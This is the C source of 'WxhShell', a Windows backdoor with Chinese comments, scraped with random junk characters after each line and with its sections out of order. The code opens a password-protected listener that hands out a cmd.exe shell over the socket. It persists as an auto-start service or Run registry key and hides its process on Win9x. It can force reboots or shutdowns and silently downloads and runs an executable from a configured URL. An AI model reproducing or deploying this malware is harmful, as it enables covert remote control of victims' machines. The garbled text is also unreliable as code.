    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); QGpj$ _b  
    if(Boot(SHUTDOWN)) N?qETp-:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S(PV*e8  
    else { J@-'IJ  
    closesocket(wsh); )]fiyXA  
    ExitThread(0); -YQh F;/  
    } -9dZT  
    break; RW&o3_Ua  
    } <SNr\/aCRi  
  // 获取shell ql@2<V{  
  case 's': { p(RF   
    CmdShell(wsh); B!+c74  
    closesocket(wsh); ^&<M""Z  
    ExitThread(0); g@'XmT="_  
    break; |.c4y*  
  } %NkiYiA  
  // 退出 fS"u"]j*e  
  case 'x': { Nw. )O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :<aGZ\R5  
    CloseIt(wsh); !}6'vq  
    break; gfggL&t(  
    } w%\ nXJ  
  // 离开 8]#FvgX  
  case 'q': { ('7?"npd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )x!q;^Js9A  
    closesocket(wsh); 5,;\zSz  
    WSACleanup(); u{4P)DIQ  
    exit(1); g"/n95k<  
    break; ajycYk9<m  
        } }uDpf0;^  
  } Cj>HMB}  
  } bhUE!h<  
PY.HZ/#d  
  // 提示信息 uf?;;wg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sK%b16#  
} YIk@{V  
  } #K^hKx9  
3f5YPf2u  
  return; .f$2-5q  
} XuP%/\  
"w"a0nv  
// shell模块句柄 a~yiLq  
int CmdShell(SOCKET sock) Kz;Ar&^`N  
{ bVcJ/+Yx|  
STARTUPINFO si; h?TIxo:6/  
ZeroMemory(&si,sizeof(si)); 807+|Ol[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I q|'#hs  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,9y6:W%5  
PROCESS_INFORMATION ProcessInfo; b,Eq-Z;  
char cmdline[]="cmd"; zYM2`(Z 5B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H {=]94  
  return 0; q&:7R .Ci  
} fExFpR,`  
76T7<.S  
// 自身启动模式 xtGit}  
int StartFromService(void) J;>;K6pW  
{ q!W,2xqZoq  
typedef struct gbMA-r:IC  
{ V n_&q6Pa  
  DWORD ExitStatus; f8-`bb  
  DWORD PebBaseAddress; x6K_!L*Fx]  
  DWORD AffinityMask; 2Ug_3ZuU  
  DWORD BasePriority; fOMaTnm'  
  ULONG UniqueProcessId; h_ t`)]-  
  ULONG InheritedFromUniqueProcessId; 3fLdceT  
}   PROCESS_BASIC_INFORMATION; % (h6m${j  
;^:8F  
PROCNTQSIP NtQueryInformationProcess; k:n{AoUc  
L/fXP@u  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;*rGZ?%*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5%D`y|  
yPmo1|'X>d  
  HANDLE             hProcess; 3F, M{'q  
  PROCESS_BASIC_INFORMATION pbi; ;jxX/c  
2+ u+9rW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @~gPZm  
  if(NULL == hInst ) return 0; d%}?%VH  
$/^Y(0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (w-"1(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K cex%.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *ssw`}yE'  
P_b5`e0O  
  if (!NtQueryInformationProcess) return 0; M"]?'TMfXc  
->qRGUW  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JRBz/ j  
  if(!hProcess) return 0; + _ehzo97  
12i`82>;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r7VBz_Q  
Jb{g{a/  
  CloseHandle(hProcess); #_\**%,<  
 @mw1__?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #U0| j?!D  
if(hProcess==NULL) return 0; zecM|S_  
"u^2!d  
HMODULE hMod; 8]&Fu3M^  
char procName[255]; >CG;df<~  
unsigned long cbNeeded; >#dLT~[\a  
3^Is4H_8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z^]Oic/0Oa  
k4&adX@Y  
  CloseHandle(hProcess); lYe2;bu  
@}jg5}  
if(strstr(procName,"services")) return 1; // 以服务启动 fBTNI`#  
Nj4r[5K  
  return 0; // 注册表启动 "LYhYkI  
} 8;~,jZ s  
W' Y<iA  
// 主模块 {B=64,D^7R  
int StartWxhshell(LPSTR lpCmdLine) B_#M)d O  
{ E>@]"O)=M,  
  SOCKET wsl; tM@%EO  
BOOL val=TRUE; KdiJ'K.  
  int port=0; E5gt_,j>  
  struct sockaddr_in door; FM3.z)>  
0<A*I{,4L  
  if(wscfg.ws_autoins) Install(); fC"? r6d  
<> HI(6\@Z  
port=atoi(lpCmdLine); D0\*WK$  
7.{+8#~nV  
if(port<=0) port=wscfg.ws_port; zKk=R6w  
6k')12~'  
  WSADATA data; hJFxT8B/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "pX|?ap  
Lniz>gSc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;U0w<>4L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J}Z\I Y,  
  door.sin_family = AF_INET; `$4wm0G|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); uj}%S_9  
  door.sin_port = htons(port); y2g)*T!m  
r,|}^u8`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  ]x1ba_  
closesocket(wsl); K\}qY dPF  
return 1; C^JtJv  
} U0|wC,7"  
<_8eOL<X  
  if(listen(wsl,2) == INVALID_SOCKET) { <qoc)p=__  
closesocket(wsl); NxH%%>o>  
return 1; xE_~.EoB  
} </9c=GoJ  
  Wxhshell(wsl); H(?+-72KX  
  WSACleanup(); B*`[8kb,  
DbI)tDi5D  
return 0; "@+Z1k-8U  
CC6]AM(i  
} 3kr. 'O  
"V:RKH`  
// 以NT服务方式启动 /.mx\_$   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) | v>W  
{ N#OO{`":Z`  
DWORD   status = 0; $W;r S7b  
  DWORD   specificError = 0xfffffff; L.9@rwfI  
\V j7%ph  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nKwOSGPQt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?MRT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rJ4A9d3:  
  serviceStatus.dwWin32ExitCode     = 0; mst;q@  
  serviceStatus.dwServiceSpecificExitCode = 0; 'uqY%&U  
  serviceStatus.dwCheckPoint       = 0; o|KmKC n>  
  serviceStatus.dwWaitHint       = 0; Fyz1LOH[X  
FLumI-se!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8N<2RT8W  
  if (hServiceStatusHandle==0) return; .4z_ohe  
MA=gCG/JD  
status = GetLastError(); H8Ra!FW@  
  if (status!=NO_ERROR) I Yr4  
{ F6{Q1DqI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 93)1  
    serviceStatus.dwCheckPoint       = 0; VyIM ,glu  
    serviceStatus.dwWaitHint       = 0; /z1-4:^`A[  
    serviceStatus.dwWin32ExitCode     = status; *6(/5V  
    serviceStatus.dwServiceSpecificExitCode = specificError; [ { F;4> g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -<\hcV`&  
    return; K?S5C8  
  } /u'V>=D;f  
{f6~Vwf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gE&83i"  
  serviceStatus.dwCheckPoint       = 0; 1A7(s0J8 :  
  serviceStatus.dwWaitHint       = 0; !&G& ~*.x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %Bnn\{Az  
} zM%2h:*+{  
bhjJH,%_>  
// 处理NT服务事件,比如:启动、停止 ]D>\Z(b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x50ZwV&j  
{ +o 6"Z)  
switch(fdwControl) I&&[ ':  
{ |3EKK:RE  
case SERVICE_CONTROL_STOP: uw&p)  
  serviceStatus.dwWin32ExitCode = 0; gr >>]C$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; . P! pC  
  serviceStatus.dwCheckPoint   = 0; p ^I#9(PT  
  serviceStatus.dwWaitHint     = 0; %&$s0=+  
  { p^QppM94  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M;X}v#l|XI  
  } VPDd*32HC  
  return; G/Yqvu,2!  
case SERVICE_CONTROL_PAUSE: F`f8q\Fc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DvBRK}'  
  break; |HTTTz9R.  
case SERVICE_CONTROL_CONTINUE: O=}jg0k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C/z0/mk  
  break; 78zwu<ET  
case SERVICE_CONTROL_INTERROGATE: D89 (u.h  
  break; I|P#|0< 2  
}; ;0 9~#Wop  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ftqeiZ 2  
} fXx !_Z  
<`=(Ui$fD  
// 标准应用程序主函数 O&PrO+&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jW.IkG[|  
{ WD'[|s\  
m@c\<-P  
// 获取操作系统版本 /80RO:'7  
OsIsNt=GetOsVer(); WaDdZIz4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V53iWWaFe  
lT- LOu|  
  // 从命令行安装 !-|{B3"6  
  if(strpbrk(lpCmdLine,"iI")) Install(); fJOA5(  
&n2dL->*#  
  // 下载执行文件 FJ V!B&  
if(wscfg.ws_downexe) { p M_oIH'8:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -* piC(  
  WinExec(wscfg.ws_filenam,SW_HIDE); .^FdO$"  
} oAq<ag\qV  
=8 Jq'-da  
if(!OsIsNt) { /HM 0p  
// 如果时win9x,隐藏进程并且设置为注册表启动 /-C6I:  
HideProc(); /: }"Zb  
StartWxhshell(lpCmdLine); ~`CWpc:  
} {b]V e/\  
else l 1Ns~  
  if(StartFromService()) !Im{-t  
  // 以服务方式启动 Ub*O*nre  
  StartServiceCtrlDispatcher(DispatchTable); CW;=q[+w  
else hT$/B|  
  // 普通方式启动 CoQ<Ky}*  
  StartWxhshell(lpCmdLine); .hytn`+9  
F */J`l  
return 0; =bl6:  
} &6#Ft]6~  
{P $sQv  
5>"X?U}He  
OOX[xv!b  
=========================================== !I[|\ 4j  
&-M}:'  
UN Kr FYl  
/UPe@  
YhFd0A?]  
0%GQXiy  
" f-l(H="e  
}*M>gvPo  
#include <stdio.h> Yuqt=\? #  
#include <string.h> fg0zD:@rA  
#include <windows.h> )2y# cM*  
#include <winsock2.h> xe!6Pgcb  
#include <winsvc.h> C.q4rr  
#include <urlmon.h> .Fn7yTQ%  
;UDd4@3`S"  
#pragma comment (lib, "Ws2_32.lib") KMogwulG  
#pragma comment (lib, "urlmon.lib") ?CUGJT  
Tn 3<cO7v  
#define MAX_USER   100 // 最大客户端连接数 u|D|pRM-LT  
#define BUF_SOCK   200 // sock buffer ;*409 P  
#define KEY_BUFF   255 // 输入 buffer 8k -l`O~  
^Jdji:  
#define REBOOT     0   // 重启 6]5e(J{Fz  
#define SHUTDOWN   1   // 关机 YO`V'6\  
?'r=>'6D  
#define DEF_PORT   5000 // 监听端口 |$a!Zx94^  
H m Z*  
#define REG_LEN     16   // 注册表键长度 QcG-/_,'}  
#define SVC_LEN     80   // NT服务名长度 }2~$"L,_  
7C@%1kL  
// 从dll定义API "3X~BdH&J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KO5! (vi@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3zuYN-;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jK9#. 0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GYK&QYi,  
byetbt(IF  
// wxhshell配置信息 ftwn<B  
struct WSCFG { ,f?+QV\T.  
  int ws_port;         // 监听端口 f{eMh47 NC  
  char ws_passstr[REG_LEN]; // 口令 >7I"_#x1:  
  int ws_autoins;       // 安装标记, 1=yes 0=no A/w7 (  
  char ws_regname[REG_LEN]; // 注册表键名 y ZR\(\?<  
  char ws_svcname[REG_LEN]; // 服务名 ;f+bIYQz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y5?OJO{h"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LyWgaf#/d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =E10j.r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :B"Y3~I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9L9+zs3 k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 On4tK\l @  
TIre,s)_  
}; 2u?k;"]V  
f15f)P  
// default Wxhshell configuration U>=& 2Z2?  
struct WSCFG wscfg={DEF_PORT, Z_}[hz$  
    "xuhuanlingzhe", X|Z2"*;b`  
    1, #Qnl,lf  
    "Wxhshell",  {;| >Qn  
    "Wxhshell", )=@ SA`J  
            "WxhShell Service", =9y&j-F  
    "Wrsky Windows CmdShell Service", 5x/LHsr=m  
    "Please Input Your Password: ", B #zU'G*Y  
  1, MiB}10  
  "http://www.wrsky.com/wxhshell.exe", ~gJJ@j 0n  
  "Wxhshell.exe" <b$.{&K  
    }; }6!*H!  
$K}Y  
// 消息定义模块 -N~eb^3[c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3C7}V{?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J2d 3&6  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; T.x"a$AU  
char *msg_ws_ext="\n\rExit."; HHcWyu  
char *msg_ws_end="\n\rQuit."; oQ"J>`',  
char *msg_ws_boot="\n\rReboot..."; ~|5B   
char *msg_ws_poff="\n\rShutdown..."; #<EMG|&(  
char *msg_ws_down="\n\rSave to "; 1<TB{}b Z  
/<-@8CC<  
char *msg_ws_err="\n\rErr!"; @dx$&;w  
char *msg_ws_ok="\n\rOK!"; C])b 3tM,7  
\1R<GBC4  
char ExeFile[MAX_PATH]; 1sN >U<  
int nUser = 0; _q<Ke/  
HANDLE handles[MAX_USER]; 1'Y7h;\~\  
int OsIsNt; QdtGFY4f,  
GB\1'  
SERVICE_STATUS       serviceStatus; h#Q Sx@U6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >hsvRX\_ `  
yhJA{nL=  
// 函数声明 QssU\@ / Q  
int Install(void); q6a7o=BP]  
int Uninstall(void); D +Ui1h-  
int DownloadFile(char *sURL, SOCKET wsh); w:+wx/\  
int Boot(int flag); Ti!<{>  
void HideProc(void); g6p:1;Evf  
int GetOsVer(void); n 0rAOkW  
int Wxhshell(SOCKET wsl); '&42E[0P  
void TalkWithClient(void *cs); K! I]0!:  
int CmdShell(SOCKET sock); `D~wY^q{  
int StartFromService(void);  "yA=Tw  
int StartWxhshell(LPSTR lpCmdLine); I@jXW>$  
,wPvv(b]a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZtPnHs.x  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); uk=f /nT  
\6WVs>z  
// 数据结构和表定义 .qAlPe L:  
SERVICE_TABLE_ENTRY DispatchTable[] = 9w:9XziT  
{ 5nSi29C  
{wscfg.ws_svcname, NTServiceMain}, x}B_;&>&"_  
{NULL, NULL} >3&Oe  
}; ?@YABl  
S?K x:]  
// 自我安装 %.[jz,;)  
int Install(void) `<x((@#  
{ 09L"~:rg  
  char svExeFile[MAX_PATH]; Q$XNs%7w5,  
  HKEY key; (N 0kTi]b  
  strcpy(svExeFile,ExeFile); gof'NT\c  
%&Q9WMo  
// 如果是win9x系统,修改注册表设为自启动 U+2U#v=<  
if(!OsIsNt) { tTcff9ee  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n1J;)VyR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [B+]F~}@  
  RegCloseKey(key); tS:/:0HnA)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o7=#ye&P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QuWW a|g^.  
  RegCloseKey(key); lNs;-`I~  
  return 0; >pRC$'Usx  
    } f<;w1sM\  
  } :HW\awv  
} PPMAj@B}V  
else { Wkj0z ]]?  
x?rn< =  
// 如果是NT以上系统,安装为系统服务 2.PZtl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OLs<]0H  
if (schSCManager!=0) K);)$8K  
{ 3GVS-?  
  SC_HANDLE schService = CreateService yhG%@vSq  
  ( odsLFU(  
  schSCManager, ,6AnuA  
  wscfg.ws_svcname, c]]e(  
  wscfg.ws_svcdisp, r~q 3nIe/,  
  SERVICE_ALL_ACCESS, $LOwuvu>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AJ"a  
  SERVICE_AUTO_START, %ZbdWHO#  
  SERVICE_ERROR_NORMAL, ,:=g}i  
  svExeFile, *-\qO.4\  
  NULL, 3$f+3/l  
  NULL, $rV4JROb  
  NULL, T:!f_mu|  
  NULL, Sk7sxy<F'  
  NULL /C\tJs  
  ); |9Pi*)E  
  if (schService!=0) ;6AanwR6  
  { \S]` { kY,  
  CloseServiceHandle(schService); YU,fx<c  
  CloseServiceHandle(schSCManager); ] =*G[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a>8&B  
  strcat(svExeFile,wscfg.ws_svcname); 6QM$aLLP?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dng^#|X)?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >i!y[F  
  RegCloseKey(key); !))!! {  
  return 0; Hn sPXF'8g  
    } ;>*Pwz`~jT  
  } t/B4?A@C  
  CloseServiceHandle(schSCManager); Y5z5LG4  
} |A,<m#C  
} %n@ ^$&,&;  
Y?#aUQc  
return 1; vTsMq>%,<  
} Ou7nk:I@  
GFTOP%Tgl  
// 自我卸载 8Ao-m38  
int Uninstall(void) ;q&uk -  
{ U uEm{  
  HKEY key; Dt:NBN  
Iq@&?,W  
if(!OsIsNt) { Z_Y' 3'^Tw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 51gSbkVX  
  RegDeleteValue(key,wscfg.ws_regname); h$l`)AH^  
  RegCloseKey(key); T%]@R4z#q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L}=t"y  
  RegDeleteValue(key,wscfg.ws_regname); 6`WI S4  
  RegCloseKey(key); Mi)h<lY  
  return 0; 8DGPA  
  } r)|6H"n#]S  
} 8e"MP\0V  
} 1YScZ  
else { Nh[H[1"J  
C Ef*:kr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D%~"]WnZ\Q  
if (schSCManager!=0) 9Yhl q$;g  
{ 8DkZ @}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o3cE.YUF  
  if (schService!=0) PS$g *x  
  { 0iI|eE o  
  if(DeleteService(schService)!=0) { M3!4,_!~  
  CloseServiceHandle(schService); 'l $ViNq;  
  CloseServiceHandle(schSCManager); '37 <+N  
  return 0; 'OI(MuSn  
  } UK5u"@T  
  CloseServiceHandle(schService); aNUM F  
  } p}p}!M|  
  CloseServiceHandle(schSCManager); }6"l`$=Ev  
} FBeo@  
} Nnq r{ub  
_%KRZx}  
return 1; rEwd76?  
} Zx Ak  
_[h!r;DsG  
// 从指定url下载文件 t~%(Zu>S  
int DownloadFile(char *sURL, SOCKET wsh) i hcSSUm  
{ 2sYz$ZGC"#  
  HRESULT hr; :u`gjj$:s  
char seps[]= "/"; KM9H<;A  
char *token; WDJ rN  
char *file; /BwG\GhM  
char myURL[MAX_PATH]; 1h3`y  
char myFILE[MAX_PATH]; 0-:dzf  
%^l&:\ hy  
strcpy(myURL,sURL); R>hL.+l.  
  token=strtok(myURL,seps); k>F>y|m  
  while(token!=NULL) \3T[Cy|5|  
  { d >O/Zal  
    file=token; 89UR w9  
  token=strtok(NULL,seps); {~`{bnx^]7  
  } >02p,W6S>  
yp]z@SYA@  
GetCurrentDirectory(MAX_PATH,myFILE); J"K(nKXO_?  
strcat(myFILE, "\\"); U>0bgL  
strcat(myFILE, file); y*!8[wASHq  
  send(wsh,myFILE,strlen(myFILE),0); l p|`n  
send(wsh,"...",3,0); qNWSDZQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5a|{ytP   
  if(hr==S_OK) Uf9L*Z'6il  
return 0; nh? JiH {  
else <6&Z5mpm$w  
return 1; 7c83g2|%   
F_@?'#m  
} vi]cl=S  
63QF1*gPH  
// 系统电源模块 Q@[(0R1  
int Boot(int flag) U~w8yMxX  
{ KG GJ\r6  
  HANDLE hToken; $!^C|,CS  
  TOKEN_PRIVILEGES tkp; +5Ju `Z  
S@Aw1i p  
  if(OsIsNt) { Z|xgZG{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kAs=5_?I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "gt1pf~y  
    tkp.PrivilegeCount = 1; _6 @GT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0nZQ" {x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [U:P&)  
if(flag==REBOOT) { <Qt9MO`a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \46*4?pP  
  return 0; cNMDI  
} HMhdK  
else { dEkAU H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /4;Sxx-  
  return 0; h-\Ov{~  
} vlFq-W!  
  } X|C=Q   
  else { xT-`dS0u  
if(flag==REBOOT) { OHt^e7\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'n}]  
  return 0; zm3$)*p1  
} [x'D+!  
else { _k#GjAPM  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GK [Hs 1/  
  return 0; Jv kTfTE7  
} #'n.az=1  
} BS%pS(  
e ^ZY  
return 1; u/V&1In  
} HX ,\a`  
ZC`VuCg2O  
// win9x进程隐藏模块 iNilk!d6Q3  
void HideProc(void) `dhBLAt  
{ YMVmpcz  
;rV+eb)I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _{n4jdw%(  
  if ( hKernel != NULL ) -/Zy{2 <u  
  { ez~u A4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IaK J W?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s1tkiX{>  
    FreeLibrary(hKernel); 1jE {]/Y7&  
  } y;_F[m  
5s@xpWVot  
return; sRZ?Ilua6  
}  FL b  
g_0| `Sm  
// 获取操作系统版本 n2|@Hz_  
int GetOsVer(void) AR{$P6u!%|  
{ O* lE0~rJ  
  OSVERSIONINFO winfo; IC1nR u2I  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DXQ]b)y+N  
  GetVersionEx(&winfo); c}s#!|E0v  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) dH'02[;  
  return 1; >!%+9@a}  
  else 6n~)R  
  return 0; WVz2 bzj  
} '}:(y$9.`  
].sD#~L_  
// 客户端句柄模块 C-g,uARX(r  
int Wxhshell(SOCKET wsl) Z<QNzJ D  
{ p+0gE5  
  SOCKET wsh; vy` lfbX@  
  struct sockaddr_in client; "H=N>=g0E  
  DWORD myID; ^XG$?2<U  
E!uQ>'iq.  
  while(nUser<MAX_USER) D&i, `j  
{ U.h2 (-p  
  int nSize=sizeof(client); =uEpeL~d;+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2vhP'?;K  
  if(wsh==INVALID_SOCKET) return 1; HD3WsIim*  
Z!*6;[]SfG  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~NLthZ (O  
if(handles[nUser]==0) ?zfm"o  
  closesocket(wsh); KK{_s=t%<  
else XN{WxcZ  
  nUser++; u6%\ZK._ \  
  } )&Z`SaoP|J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I8c:U2D  
`\'V]9wS  
  return 0; PHJHW#sv  
} C6Cr+TScH  
Ikw.L  
// 关闭 socket d[  _@l  
void CloseIt(SOCKET wsh) R0mkEM  
{ j<`3xd'  
closesocket(wsh); `VvQems  
nUser--; 8(\J~I[^  
ExitThread(0); FA := )  
} 947;6a%$  
vif)g6,  
// 客户端请求句柄 Bsha)<  
void TalkWithClient(void *cs) @/:7G.  
{ /t! 5||G  
An^)K  
  SOCKET wsh=(SOCKET)cs; qM6hE.J   
  char pwd[SVC_LEN]; HXC\``E  
  char cmd[KEY_BUFF]; [lVfhXc&  
char chr[1]; mU"Am0Bdjq  
int i,j; Y[_|sIy*  
W*DK pJy  
  while (nUser < MAX_USER) { _1mpsY<k  
X|G[Ma?   
if(wscfg.ws_passstr) { |MagK$o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kR:kn:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  \m+=|  
  //ZeroMemory(pwd,KEY_BUFF); #`!mQSK  
      i=0; agE-,  
  while(i<SVC_LEN) { |=KzQY|u  
f=VlO d  
  // 设置超时 6 EfBz  
  fd_set FdRead; :RxMZwa=  
  struct timeval TimeOut; iX<" \pV  
  FD_ZERO(&FdRead); wwQ2\2w>Hm  
  FD_SET(wsh,&FdRead); NHe)$%a=H  
  TimeOut.tv_sec=8; byMy- v;  
  TimeOut.tv_usec=0; )l.uj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *j,bI Y&se  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :U=3*f.{  
)WW*X6[k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lusd kc7  
  pwd=chr[0]; ofw&? Sk0  
  if(chr[0]==0xd || chr[0]==0xa) { %d *0"<v  
  pwd=0; l9OpaOVfJ  
  break; Dsn=fht  
  } m*CW3y{n)  
  i++; ^fH)E"qq5  
    } d{t@+}0.u  
pzoh9}bue  
  // 如果是非法用户,关闭 socket ]9)iBvQlj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,zr,>^ v  
} .tppCy  
_}ii1fLv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H9i7y,[*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5j$&Zgx51  
r!O[|h  
while(1) { !M`.(sO]  
kPiY|EH  
  ZeroMemory(cmd,KEY_BUFF); mEu2@3^E }  
N ~fE&@-  
      // 自动支持客户端 telnet标准   ULBEe@ s  
  j=0; jT< I`K*  
  while(j<KEY_BUFF) { ?1c7wEk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  ;(J&%  
  cmd[j]=chr[0]; N)Q.P'`N  
  if(chr[0]==0xa || chr[0]==0xd) { ')~V=F  
  cmd[j]=0; z wRF-{s  
  break; *OdmKVw6G  
  } x}Lj|U$r<X  
  j++; BfCnyL%  
    } _`O",Ff  
4b((,u$  
  // 下载文件 @"A 5yD5  
  if(strstr(cmd,"http://")) { `LLmdm 6i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /5z,G r  
  if(DownloadFile(cmd,wsh)) " DLIx}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5c(g7N  
  else " C&>$h_%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q }>3NCh  
  } , V,Q(!$F  
